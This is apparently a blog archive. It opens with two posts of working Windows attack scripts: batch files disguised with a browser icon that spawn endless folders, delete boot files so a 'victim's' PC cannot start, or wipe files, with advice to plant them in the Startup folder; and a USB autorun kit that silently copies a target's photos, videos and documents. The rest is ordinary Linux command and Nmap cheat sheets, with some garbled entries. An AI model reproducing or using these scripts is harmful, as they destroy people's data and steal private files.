Archive for the ‘How to….’ Category

tv crime2

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options


 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.


 Click Here. (

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off


md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.


3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini


 4) RAM Crashing Trick.

Open notepad and type the following codes



Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

These are for educational purposes only, please do not use this information for malicious purposes. take no responsibility for the actions of any individuals however feedback would be most appreciated.


tv crime2Please use responsibly, take no responsibility for the use of the following information it should only be used for educational purposes

How to steal files with USB

For this you’ll need a USB device or anything that will plug into a PC and can hold data.

Step One-

Open Notepad and paste the code below

action=Open folders to view files

Save it as Autorun.inf
paste to the USB an icon called icon.ico
change the “Open folders to view files”.

Step Two-

Open notepad again and paste the code below

@echo on
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo on

%backupcmd% “%USERPROFILE%\Desktop\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\private\favorites”
%backupcmd% “%USERPROFILE%\Desktop\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.jpeg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Desktop\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.mp4″ “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Desktop\*.wmv” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Contacts” “%drive%\private\contacts”
%backupcmd% “%USERPROFILE%\Links” “%drive%\private\links”
%backupcmd% “%USERPROFILE%\My Documents\My Music” “%drive%\private\mp3″
%backupcmd% “%USERPROFILE%\My Documents\Downloads” “%drive%\private\downloads”
%backupcmd% “%USERPROFILE%\My Music” “%drive%\private\mp3″
%backupcmd% “%USERPROFILE%\My Documents\*.jpg” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.bmp” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\My Documents\*.avi” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mpg” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.3gp” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Documents\*.mp4″ “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\My Pictures” “%drive%\private\img”
%backupcmd% “%USERPROFILE%\Videos” “%drive%\private\vid”
%backupcmd% “%USERPROFILE%\Music” “%drive%\private\mp3″
%backupcmd% “%USERPROFILE%\Downloads” “%drive%\private\downloads”
%backupcmd% “D:\*.jpg” “%drive%\private\img”
%backupcmd% “D:\*.jpeg” “%drive%\private\img”
%backupcmd% “D:\*.bmp” “%drive%\private\img”
%backupcmd% “D:\*.3gp” “%drive%\private\vid”
%backupcmd% “D:\*.mp4″ “%drive%\private\vid”
%backupcmd% “D:\*.avi” “%drive%\private\vid”
%backupcmd% “D:\*.wmv” “%drive%\private\vid”
%backupcmd% “D:\*.doc” “%drive%\private\documents”
%backupcmd% “D:\*.pdf” “%drive%\private\documents”
@echo on

Save it as explorer.bat
this script copies files from Music/Videos/downloads/

Then these files are copied to their respective folders.
Note: create on your USB a folder called private
and on this folder create these folders:

Step 3

Open notepad again and paste the code below

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Save it as invisible.vbs
This code runs explorer.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Step Four

Open notepad again for the last time and paste the code below

wscript.exe \invisible.vbs explorer.bat

Save this as launch.bat
This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with explorer.bat so file.bat is run with code from vbs file.

Step Five

Paste all 4 files in the root of your flash drive. Don’t forget to paste the icon
Create the folders I mentioned in step 2.
If you want you can make the files and folders hidden so they won’t be visible :)
Note: This will work only if your target will click “Open folders to view files” so in order for this to work auto run must be enabled or you can get them to double click the icon.



Following on from a recent post Nmap Cheat Sheet’I have decided to create another cheat sheet but this time for GNU/Linux as I am constantly referring to it for reference. These kind of things are very handy as if you are like myself and don’t use Linux on a daily basis they can play a major part in jogging the little grey cells.

Download:  Cheat Sheet commands for GNU/Linux

CheatSheet commands for GNU / Linux

System Information

1. arch: show the architecture of the machine (1).
2. uname -m: show the architecture of the machine (2)..
3. uname -r: show the kernel version used.
4. dmidecode -q: display the components (hardware) system.
5. hdparm -i /dev/hda: show the characteristics of a hard disk.
6. hdparm -tT /dev/sda: make reading test on a hard disk.
7. cat /proc/cpuinfo: CPU information show.
8. cat /proc/interrupts: show interrupts.
9. cat /proc/meminfo: verify memory usage.
10. cat /proc/swaps: show swap files.
11. cat /proc/version: display the version of the kernel.
12. cat /proc/net/dev: network adapters and display statistics.
13. cat /proc/mounts: display the mounted file system.
14. lspci -tv: show PCI devices.
15. lsusb -tv: show USB devices.
16. date: display the system date.
17. cal 2013: show calendar 2013.
18. cal 07 2013: show the calendar for the month July 2013.
19. date 041217002013.00: place (declare, set) date and time.
20. clock -w: save changes to the BIOS date.

Shutdown (Reset System or Log out)

1. shutdown -h now: Shut down system (1).
2. init 0: Shut down system (2).
3. telinit 0: Shut down system (3).
4. halt: shutdown the system (4).
5. shutdown -h hours:minutes &: planned shutdown of the system.
6. shutdown -c: cancel a planned shutdown of the system.
7. shutdown -r now: Restart (1).
8. reboot: Reboot (2).
9. logout: close session.

Files and Directories

1. cd /home: enter the “home” directory.
2. cd ..: go back one level.
3. cd ../..: back 2 levels.
4. cd: go to the root directory.
5. cd ~user1: go to directory user1.
6. cd -: go (back) to the previous directory.
7. pwd: : show the path of the working directory.
8. ls: see the files in a directory.
9. ls -F: see the files in a directory.
10. ls -l: show details of files and folders in a directory.
11. ls -a: show hidden files.
12. ls *[0-9]*: show the files and folders that contain numbers.
13. tree: display files and folders in a tree starting from the root. (1)
14. lstree: display files and folders in a tree starting from the root. (2)
15. mkdir dir1: create a folder or directory called ‘dir1′.
16. mkdir dir1 dir2: create two folders or directories simultaneously (Create two directories at once)
17. mkdir -p /tmp/dir1/dir2: create a directory tree.
18. rm -f file1: delete the file called file1.
19. rmdir dir1: delete the folder called dir1.
20. rm -rf dir1: delete a folder called dir1 with its contents recursively.
21. rm -rf dir1 dir2: delete two folders (directories) with its contents recursively.
22. mv dir1 new_dir: rename or move a file or folder (directory).
23. cp file1: copy a file.
24. cp file1 file2: copy two files together.
25. cp dir /* . : copy all the files in a directory within the current working directory.
26. cp -a /tmp/dir1 . : copy a directory within the current working directory.
27. cp -a dir1: copy a directory.
28. cp -a dir1 dir2: copy two directories.
29. ln -s file1 lnk1: create a symbolic link to the file or directory.
30. ln file1 lnk1: creating a physical link to the file or directory.
31. touch -t 0712250000 file1: modify the real time (time of creation) of a file or directory.
32. file file1: output (screen dump)
33. iconv -l: lists of known encryption.
34. iconv -f fromEncoding -t toEncoding inputFile > outputFile: creates a new form of the input file is encoded in assuming and making a ToEncoding fromEncoding.
35. find . -maxdepth 1 -name *.jpg -print -exec convert ”{}” -resize 80×60 “thumbs/{}” \;: grouping resized files in the current directory and send them to directories in thumbnail view (requires converting from ImageMagick).

Finding Files

1. find / -name file1: file and directory search from the root of the system.
2. find / -user user1: find files and directories belonging to user user1.
3. find /home/user1 -name \*.bin: search files with extension ‘. bin ‘directory within it’ / home/user1.
4. find /usr/bin -type f -atime +100: look at binary files used in the last 100 days.
5. find /usr/bin -type f -mtime -10: find the changed files created within the last 10 days.
6. find / -name \*.rpm -exec chmod 755 ‘{}’ \;: look for files with extension. ‘rpm’ and change permissions.
7. find / -xdev -name \*.rpm: Find files with extension ‘. rpm’ ignoring them removable devices such as cdrom, pen-drive, etc ….
8. locate \*.ps: find files with extension. ‘ps’ primarily executed with the command ‘updatedb’.
9. whereis halt: show the location of a binary file. In this case you are wondering Where he command ‘halt’
10. which halt: show the full path (full path to it) to a binary / executable.

Mounting a file system

1. mount /dev/hda2 /mnt/hda2: mount a disk called hda2. Check first the existence of the directory ‘/ mnt/hda2?, If not, create it.
2. umount /dev/hda2: removing a disk called hda2. Out first from point ‘/ mnt/hda2.
3. fuser -km /mnt/hda2: force umount when the device is busy.
4. umount -n /mnt/hda2: running disassembly without reading the file / etc / mtab. Useful when the file is read-only or the hard drive is full.
5. mount /dev/fd0 /mnt/floppy: mount a floppy disk (floppy).
6. mount /dev/cdrom /mnt/cdrom: mount a cdrom / dvdrom.
7. mount /dev/hdc /mnt/cdrecorder: mount a rewritable cd or dvdrom.
8. mount /dev/hdb /mnt/cdrecorder: mount a rewritable cd / dvdrom (a dvd).
9. mount -o loop file.iso /mnt/cdrom: mount a file or iso image.
10. mount -t vfat /dev/hda5 /mnt/hda5: mount a FAT32 file system.
11. mount /dev/sda1 /mnt/usbdisk: mount a usb thumb drive or a memory (without specifying the filesystem type).

Hard Disk Space

1. df -h: display a list of mounted partitions.
2. ls -lSr |more: show the size of the files and directories sorted by size.
3. du -sh dir1: Estimate the space used by the directory dir1.
4. du -sk * | sort -rn: show the size of the files and directories sorted by size.
5. rpm -q -a –qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n: show space used by the installed rpm packages organized by size (Fedora, Redhat and others).
6. dpkg-query -W -f=’${Installed-Size;10}t${Package}n’ | sort -k1,1n: show space used by the packages installed, organized by size (Ubuntu, Debian and others) .

Users and Groups

1. groupadd name_of_the_group: create a new group.
2. groupdel name_of_the_group: delete a group.
3. groupmod -n new_name_of_the_group old_name_of_the_group: rename a group.
4. useradd -c “Name Surname ” -g admin -d /home/user1 -s /bin/bash user1: Create a new user belonging to the “admin”.
5. useradd user1: create a new user.
6. userdel -r user1: delete a user (‘-r’ eliminates home directory).
7. usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1: change user attributes.
8. passwd: Changing password.
9. passwd user1: change the password of a user (only root).
10. chage -E 2013-12-31 user1: place a time limit for the user’s password. In this case says that the key expires on December 31, 2013.
11. pwck: correct syntax check the file format of ‘/ etc / passwd’ and the existence of users.
12. grpck: check correct syntax and format of the file ‘/ etc / group’ and the existence of groups.
13. newgrp group_name: Registers a new group to change the default group of newly created files.

File Permissions (Use “+” to place permissions and “-” to remove)

1. ls -lh: Show permissions.
2. ls /tmp | pr -T5 -W$COLUMNS: Terminal divided into 5 columns.
3. chmod ugo+rwx directory1: : enable read permissions (r) , write (w) and execute (x) to the owner (u) group (g) and others (o) on the directory ‘directory1
4. chmod go-rwx directory1: remove read permission (r), write (w) and (x) running the group (g) and others (o) on the directory ‘directory1
5. chown user1 file1: cchange owner of a file.
6. chown -R user1 directory1: change the owner of a directory and all files and directories contained within.
7. chgrp group1 file1: changing group of files.
8. chown user1:group1 file1: change user and group ownership of a file.
9. find / -perm -u+s: display all system files with SUID configured.
10. chmod u+s /bin/file1: set the SUID bit on a binary file. The user that running that file takes the same privileges as the owner.
11. chmod u-s /bin/file1: disable SUID bit on a binary file.
12. chmod g+s /home/public: place a SGID bit on a directory-similar to SUID but for directory.
13. chmod g-s /home/public: disable SGID bit on a directory.
14. chmod o+t /home/public: place a bit STIKY in a directory. Allows deletion of files only rightful owners.
15. chmod o-t /home/public: STIKY disable bit in a directory.

Special Attributes on files (Use “+” to place permissions and “-” to remove)

1. chattr +a file1: allows to writte by opening a file only append mode.
2. chattr +c file1: allows a file to be compressed / decompressed automatically.
3. chattr +d file1: ensures that the program ignore delete files during backup.
4. chattr +i file1: convert the file unchanged, so it can not be removed, altered, renamed, or bound.
5. chattr +s file1: allows a file to be deleted safely.
6. chattr +S file1: ensures that a file is modified, the changes are written in synchronous mode as with sync.
7. chattr +u file1: allows you to restore the contents of a file even if it is canceled.
8. lsattr: show special attributes.

Compressed files

1. bunzip2 file1.bz2: decompress in file called ‘file1.bz2.
2. bzip2 file1: compress a file called file1.
3. gunzip file1.gz: decompress a file called ‘file1.gz.
4. gzip file1: compress a file called ‘file1.
5. gzip -9 file1: compress with maximum compression.
6. rar a file1.rar test_file: create a zip file called ‘file1.rar’.
7. rar a file1.rar file1 file2 dir1: compress ‘file1,’ file2 and ‘dir1Simultaneously.
8. rar x file1.rar: decompress rar file.
9. unrar x file1.rar: decompress rar file.
10. tar -cvf archive.tar file1: create an uncompressed tarball.
11. tar -cvf archive.tar file1 file2 dir1: create an archive containing ‘file1,file2 and dir1.
12. tar -tf archive.tar: show contents a file.
13. tar -xvf archive.tar: extract a tarball.
14. tar -xvf archive.tar -C /tmp: extract a tarball in / tmp.
15. tar -cvfj archive.tar.bz2 dir1: create a tarball compressed into bzip2.
16. tar -xvfj archive.tar.bz2: decompress a bzip2 compressed tar file.
17. tar -cvfz archive.tar.gz dir1: create a gzip tarball.
18. tar -xvfz archive.tar.gz: decompress a gzip compressed tar archive.
19. zip file1: create a zip file.
20. zip -r file1 file2 dir1: compress in zip several files and directories simultaneously.
21. unzip decompress a zip file.

RPM Packages (Red Hat, Fedora…etc)

1. rpm -ivh package.rpm: install an rpm package.
2. rpm -ivh –nodeeps package.rpm: installing an rpm package ignoring dependencies requests.
3. rpm -U package.rpm: upgrade a rpm package without changing configuration files.
4. rpm -F package.rpm: upgrade a rpm package only if it is installed.
5. rpm -e package_name.rpm: remove a rpm package.
6. rpm -qa: show all rpm packages installed on the system.
7. rpm -qa | grep httpd: show all rpm packages with the name “httpd”.
8. rpm -qi package_name: get information on a specific package installed.
9. rpm -qg “System Environment/Daemons”: show rpm packages of a software group.
10. rpm -ql package_name: show list of files given by a rpm package installed.
11. rpm -qc package_name: show configuration files list given by a rpm package installed.
12. rpm -q package_name –whatrequires: show list of dependencies required for a rpm package.
13. rpm -q package_name –whatprovides: show the capacity provided by a rpm package.
14. rpm -q package_name –scripts: scripts show started during installation / removal.
15. rpm -q package_name –changelog: display the history of revisions of a rpm package.
16. rpm -qf /etc/httpd/conf/httpd.conf: check which rpm package belongs to a given file.
17. rpm -qp package.rpm -l: show list of files given by a rpm package not yet been installed.
18. rpm –import /media/cdrom/RPM-GPG-KEY: Import digital signature public key.
19. rpm –checksig package.rpm: verify the integrity of a package rpm.
20. rpm -qa gpg-pubkey: verify the integrity of all rpm packages installed.
21. rpm -V package_name: check the file size, licenses, rates, owner, group, check MD5 digest and last modified.
22. rpm -Va: check all rpm packages installed on the system. Use with caution.
23. rpm -Vp package.rpm: verify a rpm package not yet installed.
24. rpm2cpio package.rpm | cpio –extract –make-directories *bin*: extracting executable file from a rpm package.
25. rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm: install a package built from a source rpm.
26. rpmbuild –rebuild package_name.src.rpm: build a rpm package from a source rpm.

YUM packages updater (Red Hat, Fedora…etc)

1. yum install package_name: download and install a rpm package..
2. yum localinstall package_name.rpm: This will install an RPM and attempt to resolve all dependencies for you, using your repositories.
3. yum update package_name.rpm: update all rpm packages installed on the system.
4. yum update package_name: upgrade a rpm package.
5. yum remove package_name: remove a rpm package.
6. yum list: list all packages installed on the system.
7. yum search package_name: Find a package repository rpm.
8. yum clean packages: clean a cache erasing downloaded packages.
9. yum clean headers: remove all header files that the system uses to resolve the dependency.
10. yum clean all: delete from the cache packages and header files.

Deb packages (Debian, Ubuntu…etc)

1. dpkg -i package.deb: upgrade a deb package.
2. dpkg -r package_name: remove a deb package.
3. dpkg -l: show all deb packages installed on the system.
4. dpkg -l | grep httpd: show all deb packages with the name “httpd”
5. dpkg -s package_name: to obtain information on a specific package installed on the system.
6. dpkg -L package_name: show list of files given by a package installed on the system.
7. dpkg –contents package.deb: show list of files given by a package not yet installed.
8. dpkg -S /bin/ping: check which package owns a given file.

APT packages updater (Debian, Ubuntu …etc)

1. apt-get install package_name: install / upgrade a deb package.
2. apt-cdrom install package_name: install / upgrade a deb package from cdrom.
3. apt-get update: update the package list.
4. apt-get upgrade: update all installed packages
5. apt-get remove package_name: remove a deb package.
6. apt-get check: check the correct resolution of dependencies.
7. apt-get clean: clean up cache from packages downloaded.
8. apt-cache search searched-package: returns list of packages that corresponds to the series’ wanted packages. ”

View the contents of a file

1. cat file1: view the contents of a file starting from the first row.
2. tac file1: view the contents of a file starting from the last line.
3. more file1: view content along a file.
4. less file1: command like ‘more’ but can save the file movement and backward movement.
5. head -2 file1: see the first two lines of a file.
6. tail -2 file1: see the last two lines of a file.
7. tail -f /var/log/messages: see in real time what has been added to the file.

Text Manipulation

1. cat file1 file2 .. | command <> file1_in.txt_or_file1_out.txt: general syntax for text manipulation using PIPE, STDIN and STDOUT.
2. cat file1 | command( sed, grep, awk, grep, etc…) > result.txt: general syntax to manipulate a text from a file and write the output to a new file.
3. cat file1 | command( sed, grep, awk, grep, etc…) » result.txt: general syntax to manipulate a text from a file and add result in an existing file.
4. grep Aug /var/log/messages: search words “Aug” on file ‘/ var / log / messages’.
5. grep ^Aug /var/log/messages: look for words that begin with “Aug” on file ‘/ var / log / messages’
6. grep [0-9] /var/log/messages: select all lines in the file ‘/ var / log / messages’ that contain numbers.
7. grep Aug -R /var/log/*: search for the string “Aug” in directory ‘/ var / log’ and below.
8. sed ‘s/stringa1/stringa2/g’ example.txt: relocate “string1″ with “string2″ in example.txt
9. sed ‘/^$/d’ example.txt: delete all blank lines from the example.txt
10. sed ‘/ *#/d; /^$/d’ example.txt: Remove comments and blank lines example.txt
11. echo ‘esempio’ | tr ‘[:lower:]‘ ‘[:upper:]‘: convert lowercase to uppercase
12. sed -e ’1d’ result.txt: deletes the first line of the file sample.txt
13. sed -n ‘/stringa1/p’: display only lines that contain the word “string1″.

Character set and file conversion

1. dos2unix filedos.txt fileunix.txt: convert a text file format from MSDOS to UNIX.
2. unix2dos fileunix.txt filedos.txt: convert a text file format from UNIX to MSDOS.
3. recode ..HTML < page.txt > page.html: convert a text file to html.
4. recode -l | more: show all available format conversions.

Analysis of the file systems

1. badblocks -v /dev/hda1: Check for bad blocks on disk hda1.
2. fsck /dev/hda1: repair / check integrity Linux system file on disk hda1.
3. fsck.ext2 /dev/hda1: repair / check integrity ext 2 file system on disk hda1.
4. e2fsck /dev/hda1: repair / check integrity ext 2 file system on disk hda1.
5. fsck.ext3 /dev/hda1: repair / check integrity ext 3 file system on disk hda1.
6. fsck.vfat /dev/hda1: repair / check integrity ext 3 file system on disk hda1.
7. fsck.msdos /dev/hda1: repair / check integrity of a file from MSDOS system on disk hda1.
8. dosfsck /dev/hda1: repair / check integrity of a file from a DOS system on disk hda1.

Formatting a filesystem

1. mkfs /dev/hda1: create a Linux file system on the partition hda1.
2. mke2fs /dev/hda1: create a system file type on the partition hda1
3. mke2fs -j /dev/hda1: create a Linux file system type ext3 (journal) on hda1 partition.
4. mkfs -t vfat 32 -F /dev/hda1: ccreate a FAT32 file system on hda1.
5. fdformat -n /dev/fd0: flooply format a disk.
6. mkswap /dev/hda3: create a swap file system.

Working with SWAP

1. mkswap /dev/hda3: create a swap file system.
2. swapon /dev/hda3: activate a new swap partition.
3. swapon /dev/hda2 /dev/hdb3: activate two swap partitions.


1. dump -0aj -f /tmp/home0.bak /home: make a complete backup directory ‘/ home’.
2. dump -1aj -f /tmp/home0.bak /home: make incremental backup directory ‘/ home’.
3. restore -if /tmp/home0.bak: restoring a backup interactively.
4. rsync -rogpav –delete /home /tmp: synchronization between directories.
5. rsync -rogpav -e ssh –delete /home ip_address:/tmp: rsync through SSH tunnel.
6. rsync -az -e ssh –delete ip_addr:/home/public /home/local: synchronize a local directory with a remote directory via ssh and compression.
7. rsync -az -e ssh –delete /home/local ip_addr:/home/public: Synchronize a remote directory with a local directory via ssh and compression.
8. dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’: make a backup on a hard disk on a remote host via ssh.
9. dd if=/dev/sda of=/tmp/file1: save the contents of a hard drive to a file. (In this case the hard drive is “sda” and the file “file1″).
10. tar -Puf backup.tar /home/user: make incremental backup directory ‘/ home / user’.
11. ( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd /home/share/ && tar x -p’: copy the contents of a directory on a remote directory via ssh.
12. ( tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home && tar x -p’: copy a local directory on a remote directory via ssh.
13. tar cf – . | (cd /tmp/backup ; tar xf – ): local copy preserving permits and links from one directory to another.
14. find /home/user1 -name ‘*.txt’ | xargs cp -av –target-directory=/home/backup/ –parents: finding and copying all files with ‘. txt’ from one directory to another.
15. find /var/log -name ‘*.log’ | tar cv –files-from=- | bzip2 > log.tar.bz2: find all files with ‘. log’ and make a bzip file.
16. dd if=/dev/hda of=/dev/fd0 bs=512 count=1: make a copy of MRB (Master Boot Record) to floppy.
17. dd if=/dev/fd0 of=/dev/hda bs=512 count=1: restore the backup of the MBR (Master Boot Record) saved on a floppy.


1. cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force: clean or erase a rewritable cd.
2. mkisofs /dev/cdrom > cd.iso: create an iso image of cdrom on disk.
3. mkisofs /dev/cdrom | gzip > cd_iso.gz: create a compressed iso image of cdrom on disk.
4. mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd: create an iso image from a directory.
5. cdrecord -v dev=/dev/cdrom cd.iso: burn an iso image.
6. gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom -: burn an iso image compression.
7. mount -o loop cd.iso /mnt/iso: mount an iso image.
8. cd-paranoia -B: take songs from a cd to wav files.
9. cd-paranoia – ”-3”: take the first 3 songs from a CD to wav files.
10. cdrecord –scanbus: scan bus to identify the channel scsi.
11. dd if=/dev/hdc | md5sum: to run an md5sum in a device such as a cd.

LAN and Wi-Fi

1. ifconfig eth0: show the configuration of an Ethernet network card.
2. ifup eth0: activate an interface ‘eth0′
3. ifdown eth0: disable an interface ‘eth0′
4. ifconfig eth0 netmask set an IP address.
5. ifconfig eth0 promisc: configure ‘eth0′ common mode for packets (sniffing).
6. dhclient eth0: active interface ‘eth0′ dhcp mode.
7. route -n: show route table
8. route add -net 0/0 gw IP_Gateway: default input configuration.
9. route add -net netmask gw Configure static route for network search ‘192 .168.0.0/16′
10. route del 0/0 gw IP_gateway: remove the static route.
11. echo “1” > /proc/sys/net/ipv4/ip_forward: enable ip route.
12. hostname: display the system hostname.
13. host hostname search to resolve the name to an IP address (1).
14. nslookup find the host name to resolve the name to an IP address and vice versa (2)
15. ip link show: show the link status of all interfaces.
16. mii-tool eth0: show the link status of ‘eth0′
17. ethtool eth0: display statistics for ‘eth0′.
18. netstat -tup: show all active network connections and their PID.
19. netstat -tupl: show all network services listening on the system and its PID.
20. tcpdump tcp port 80: show all HTTP traffic.
21. iwlist scan: show wireless networks.
22. iwconfig eth1: show the configuration of a wireless network card.
23. whois search Whois database.

Microsoft Windows Networks (SAMBA)

1. nbtscan ip_addr: net bios name resolution.
2. nmblookup -A ip_addr: net bios name resolution.
3. smbclient -L ip_addr/hostname: show remote actions of a windows host.


1. iptables -t filter -L: show all chains of the filter table.
2. iptables -t nat -L: show all chains of the nat table.
3. iptables -t filter -F: clear all rules from the filter table.
4. iptables -t nat -F: clean all nat table rules.
5. iptables -t filter -X: delete any user-created chain.
6. iptables -t filter -A INPUT -p tcp –dport telnet -j ACCEPT: allow input telnet connections.
7. iptables -t filter -A OUTPUT -p tcp –dport http -j DROP: block output HTTP connections.
8. iptables -t filter -A FORWARD -p tcp –dport pop3 -j ACCEPT: allow POP connections to a front chain.
9. iptables -t filter -A INPUT -j LOG –log-prefix “DROP INPUT”: registering an input string.
10. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE: configure a PAT (Port Address Translation) on eth0, hiding the forced departure packages.
11. iptables -t nat -A PREROUTING -d -p tcp -m tcp –dport 22 -j DNAT –to-destination redirect packets directed from one host to another.

Monitoring and debugging

1. top: show cpu processes.
2. ps -eafw: show cpu processes.
3. ps -e -o pid,args –forest: shows Linux processes in a hierarchal manner.
4. pstree: show system processes tree.
5. kill -9 ID_Process: force close and finish process..
6. kill -1 ID_Process: force a process to reload the configuration.
7. lsof -p $$: display a list of files opened by processes.
8. lsof /home/user1: lists open files on a given path by the system.
9. strace -c ls >/dev/null: show system calls made ​​and received by a process.
10. strace -f -e open ls >/dev/null: display library calls.
11. watch -n1 ‘cat /proc/interrupts’: show interruptions in real time.
12. last reboot: show reboot history.
13. lsmod: display the loaded kernel.
14. free -m: Displays the status of RAM in megabytes.
15. smartctl -A /dev/hda: monitor the reliability of a hard drive via SMART.
16. smartctl -i /dev/hda: check if SMART is enabled on a hard disk.
17. tail /var/log/dmesg: show events inherent in the charging process of the kernel.
18. tail /var/log/messages: show system events.

Other useful commands

1. apropos …keyword: display a list of commands that belong to the keywords of a program, are useful when you know what makes your program, but not know the command name.
2. man ping: display manual pages on-line, for example, in a ping command, use the ‘-k’ to find any related command.
3. whatis …keyword: Displays the description of what the program does.
4. mkbootdisk –device /dev/fd0 `uname -r`: create a floppy boteable.
5. gpg -c file1: encrypt a file with GNU security guard.
6. gpg file1.gpg: decode a file with GNU Security Guard.
7. wget -r download an entire website.
8. wget -c download a file with the possibility to stop the download and resume later.
9. echo ‘wget -c‘ | at 09:00: Start a download at any time. In this case begin at 9 am.
10. ldd /usr/bin/ssh: display the shared libraries required by ssh.
11. alias hh=’history’: place an alias for a command-hh = history.
12. chsh: change the command Shell.
13. chsh –list-shells: is an appropriate command to find out if you have to remote into another terminal.
14. who -a: show who is registered, and print time of last import system, dead processes, system logging processes, active processes produced by init, current and past performance of the system clock changes.



The de-facto standard in network scanning for many years has been Nmap. Nmap is universally supported by Linux and Windows alike and is free to download > Download Nmap

The only thing I have found is that there are so many commands it makes it difficult to remember what to enter, so here is a quick guide for fast scanning, Also I have created it in a PDF for easy reference > Nmap Cheat

Basic Scanning Techniques

Scan a single target —> nmap [target]

Scan multiple targets —> nmap [target1,target2,etc]

Scan a list of targets —-> nmap -iL [list.txt]

Scan a range of hosts —-> nmap [range of IP addresses]

Scan an entire subnet —-> nmap [IP address/cdir]

Scan random hosts —-> nmap -iR [number]

Excluding targets from a scan —> nmap [targets] –exclude [targets]

Excluding targets using a list —> nmap [targets] –excludefile [list.txt]

Perform an aggressive scan —> nmap -A [target]

Scan an IPv6 target —> nmap -6 [target]

Discovery Options

Perform a ping scan only —> nmap -sP [target]

Don’t ping —> nmap -PN [target]

TCP SYN Ping —> nmap -PS [target]

TCP ACK ping —-> nmap -PA [target]

UDP ping —-> nmap -PU [target]

SCTP Init Ping —> nmap -PY [target]

ICMP echo ping —-> nmap -PE [target]

ICMP Timestamp ping —> nmap -PP [target]

ICMP address mask ping —> nmap -PM [target]

IP protocol ping —-> nmap -PO [target]

ARP ping —> nmap -PR [target]

Traceroute —> nmap –traceroute [target]

Force reverse DNS resolution —> nmap -R [target]

Disable reverse DNS resolution —> nmap -n [target]

Alternative DNS lookup —> nmap –system-dns [target]

Manually specify DNS servers —> nmap –dns-servers [servers] [target]

Create a host list —-> nmap -sL [targets]

Advanced Scanning Options

TCP SYN Scan —> nmap -sS [target]

TCP connect scan —-> nmap -sT [target]

UDP scan —-> nmap -sU [target]

TCP Null scan —-> nmap -sN [target]

TCP Fin scan —> nmap -sF [target]

Xmas scan —-> nmap -sX [target]

TCP ACK scan —> nmap -sA [target]

Custom TCP scan —-> nmap –scanflags [flags] [target]

IP protocol scan —-> nmap -sO [target]

Send Raw Ethernet packets —-> nmap –send-eth [target]

Send IP packets —-> nmap –send-ip [target]

Port Scanning Options

Perform a fast scan —> nmap -F [target]

Scan specific ports —-> nmap -p [ports] [target]

Scan ports by name —-> nmap -p [port name] [target]

Scan ports by protocol —-> nmap -sU -sT -p U:[ports],T:[ports] [target]

Scan all ports —-> nmap -p “*” [target]

Scan top ports —–> nmap –top-ports [number] [target]

Perform a sequential port scan —-> nmap -r [target]

Version Detection

Operating system detection —-> nmap -O [target]

Submit TCP/IP Fingerprints —->

Attempt to guess an unknown —-> nmap -O –osscan-guess [target]

Service version detection —-> nmap -sV [target]

